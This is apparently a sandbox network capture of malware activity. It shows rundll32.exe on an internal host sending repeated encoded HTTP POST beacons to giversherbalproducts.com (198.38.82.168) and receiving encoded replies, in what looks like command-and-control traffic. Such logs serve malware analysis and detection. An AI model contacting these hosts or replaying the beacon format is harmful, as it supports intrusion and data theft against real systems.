f3p/QUVCQ0FBfn15eH96fXt8fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.3	50050	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:52.552983999 CEST	7253	OUT	POST /lBawcxb5/ch0sAS4NeiYGBAoeHCh7eAUtIA4aOSQPeBwFQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:53.039659977 CEST	7254	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:52 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.3	50051	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:52.648891926 CEST	7253	OUT	POST /lBawcxb5/chwzH0Z6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:53.132050037 CEST	7255	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:52 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.3	50052	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:53.392812014 CEST	7256	OUT	POST /lBawcxb5/fi8tB30jeQl1dyAeDwQ+MjAAFCABBw0vRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:53.920669079 CEST	7258	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:53 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.3	50053	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:53.459924936 CEST	7256	OUT	POST /lBawcxb5/LRkqBRs9LQ4/JSIvBDw3KCwJIntCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:53.912867069 CEST	7257	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:53 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.3	50054	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:54.235857010 CEST	7259	OUT	POST /lBawcxb5/IRh6OxsSA317KiA4HjUrBxgBRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:54.703422070 CEST	7260	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:54 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.3	50055	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:54.335001945 CEST	7259	OUT	POST /lBawcxb5/MRMKDjY/IhkIGhgGHi8tCCENKRcdPR0dRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:54.927628994 CEST	7261	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:54 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.3	50056	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:55.075412989 CEST	7261	OUT	POST /lBawcxb5/Hg4RFBcNMzMqHRwDMXUdPAAqRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:55.699817896 CEST	7263	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:55 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.3	50057	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:55.353225946 CEST	7262	OUT	POST /lBawcxb5/KgUKfiUpewUIDBN5PRx9e0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:55.886122942 CEST	7264	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:55 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.3	50058	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:56.076267004 CEST	7264	OUT	POST /lBawcxb5/MjwbIQIkBgkPHTI6ez0VQntyfmF6fHNifWV5 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:56.552653074 CEST	7266	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:56 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49776	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:19.422477007 CEST	1076	OUT	POST /lBawcxb5/fSkCegETcg8VKw95Qn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
